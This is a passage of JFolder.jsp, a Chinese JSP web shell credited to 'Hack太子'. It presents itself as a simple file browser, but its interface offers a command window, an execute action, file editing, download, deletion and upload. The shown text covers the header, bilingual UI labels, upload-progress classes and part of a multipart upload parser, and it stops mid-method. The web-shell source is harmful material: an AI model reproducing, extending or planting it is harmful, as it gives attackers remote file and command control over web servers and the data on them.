<%
/**
JFolder V0.9  windows platform
@Filename： JFolder.jsp
@Description： 一个简单的系统文件目录显示程序，类似于资源管理器，提供基本的文件操作，不过功能弱多了。

@Bugs  :  下载时，中文文件名无法正常显示
*/
%>
<%@ page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>
<%!
private final static int languageNo=0; //语言版本，0 : 中文； 1：英文
String strThisFile="JFolder.jsp";
String[] authorInfo={" <font color=red> 写的不好，将就着用吧 - - by Hack太子 http://www.juntuan.net/</font>"," <font color=red> Thanks for your support - - by Steven Cee http://www.topronet.com </font>"};
String[] strFileManage   = {"文 件 管 理","File Management"};
String[] strCommand      = {"CMD 命 令","Command Window"};
String[] strSysProperty  = {"系 统 属 性","System Property"};
String[] strHelp         = {"帮 助","Help"};
String[] strParentFolder = {"上级目录","Parent Folder"};
String[] strCurrentFolder= {"当前目录","Current Folder"};
String[] strDrivers      = {"驱动器","Drivers"};
String[] strFileName     = {"文件名称","File Name"};
String[] strFileSize     = {"文件大小","File Size"};
String[] strLastModified = {"最后修改","Last Modified"};
String[] strFileOperation= {"文件操作","Operations"};
String[] strFileEdit     = {"修改","Edit"};
String[] strFileDown     = {"下载","Download"};
String[] strFileCopy     = {"复制","Move"};
String[] strFileDel      = {"删除","Delete"};
String[] strExecute      = {"执行","Execute"};
String[] strBack         = {"返回","Back"};
String[] strFileSave     = {"保存","Save"};

public class FileHandler
{
 private String strAction="";
 private String strFile="";
 void FileHandler(String action,String f)
 {
 
 }
}

public static class UploadMonitor {

  static Hashtable uploadTable = new Hashtable();

  static void set(String fName, UplInfo info) {
   uploadTable.put(fName, info);
  }

  static void remove(String fName) {
   uploadTable.remove(fName);
  }

  static UplInfo getInfo(String fName) {
   UplInfo info = (UplInfo) uploadTable.get(fName);
   return info;
  }
}

public class UplInfo {

  public long totalSize;
  public long currSize;
  public long starttime;
  public boolean aborted;

  public UplInfo() {
   totalSize = 0l;
   currSize = 0l;
   starttime = System.currentTimeMillis();
   aborted = false;
  }

  public UplInfo(int size) {
   totalSize = size;
   currSize = 0;
   starttime = System.currentTimeMillis();
   aborted = false;
  }

  public String getUprate() {
   long time = System.currentTimeMillis() - starttime;
   if (time != 0) {
    long uprate = currSize * 1000 / time;
    return convertFileSize(uprate) + "/s";
   }
   else return "n/a";
  }

  public int getPercent() {
   if (totalSize == 0) return 0;
   else return (int) (currSize * 100 / totalSize);
  }

  public String getTimeElapsed() {
   long time = (System.currentTimeMillis() - starttime) / 1000l;
   if (time - 60l >= 0){
    if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
    else return time / 60 + ":0" + (time % 60) + "m";
   }
   else return time<10 ? "0" + time + "s": time + "s";
  }

  public String getTimeEstimated() {
   if (currSize == 0) return "n/a";
   long time = System.currentTimeMillis() - starttime;
   time = totalSize * time / currSize;
   time /= 1000l;
   if (time - 60l >= 0){
    if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
    else return time / 60 + ":0" + (time % 60) + "m";
   }
   else return time<10 ? "0" + time + "s": time + "s";
  }

 }

 public class FileInfo {

  public String name = null, clientFileName = null, fileContentType = null;
  private byte[] fileContents = null;
  public File file = null;
  public StringBuffer sb = new StringBuffer(100);

  public void setFileContents(byte[] aByteArray) {
   fileContents = new byte[aByteArray.length];
   System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
  }
}

// A Class with methods used to process a ServletInputStream
public class HttpMultiPartParser {

  private final String lineSeparator = System.getProperty("line.separator", "\n");
  private final int ONE_MB = 1024 * 1;

  public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
    int clength) throws IllegalArgumentException, IOException {
   if (is == null) throw new IllegalArgumentException("InputStream");
   if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
     "\"" + boundary + "\" is an illegal boundary indicator");
   boundary = "--" + boundary;
   StringTokenizer stLine = null, stFields = null;
   FileInfo fileInfo = null;
   Hashtable dataTable = new Hashtable(5);
   String line = null, field = null, paramName = null;
   boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
   boolean isFile = false;
   if (saveFiles) { // Create the required directory (including parent dirs)
    File f = new File(saveInDir);
    f.mkdirs();
   }
   line = getLine(is);
   if (line == null || !line.startsWith(boundary)) throw new IOException(
     "Boundary not found; boundary = " + boundary + ", line = " + line);
   while (line != null) {
    if (line == null || !line.startsWith(boundary)) return dataTable;
    line = getLine(is);
    if (line == null) return dataTable;
    stLine = new StringTokenizer(line, ";\r\n");
    if (stLine.countTokens() < 2) throw new IllegalArgumentException(
      "Bad data in second line");
    line = stLine.nextToken().toLowerCase();
    if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
      "Bad data in second line");
    stFields = new StringTokenizer(stLine.nextToken(), "=\"");
    if (stFields.countTokens() < 2) throw new IllegalArgumentException(
      "Bad data in second line");
    fileInfo = new FileInfo();
    stFields.nextToken();
    paramName = stFields.nextToken();
    isFile = false;
    if (stLine.hasMoreTokens()) {
     field = stLine.nextToken();
     stFields = new StringTokenizer(field, "=\"");
     if (stFields.countTokens() > 1) {
      if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
       fileInfo.name = paramName;
       String value = stFields.nextToken();
       if (value != null && value.trim().length() > 0) {
        fileInfo.clientFileName = value;
        isFile = true;
       }
       else {
        line = getLine(is); // Skip "Content-Type:" line
        line = getLine(is); // Skip blank line
        line = getLine(is); // Skip blank line
        line = getLine(is); // Position to boundary line
        continue;
       }
      }
     }
     else if (field.toLowerCase().indexOf("filename") >= 0) {
      line = getLine(is); // Skip "Content-Type:" line
      line = getLine(is); // Skip blank line
      line = getLine(is); // Skip blank line
      line = getLine(is); // Position to boundary line
      continue;
     }
    }
    boolean skipBlankLine = true;
    if (isFile) {
     line = getLine(is);
     if (line == null) return dataTable;
     if (line.trim().length() < 1) skipBlankLine = false;
     else {
      stLine = new StringTokenizer(line, ": ");
      if (stLine.countTokens() < 2) throw new IllegalArgumentException(
        "Bad data in third line");
      stLine.nextToken(); // Content-Type
      fileInfo.fileContentType = stLine.nextToken();
     }
    }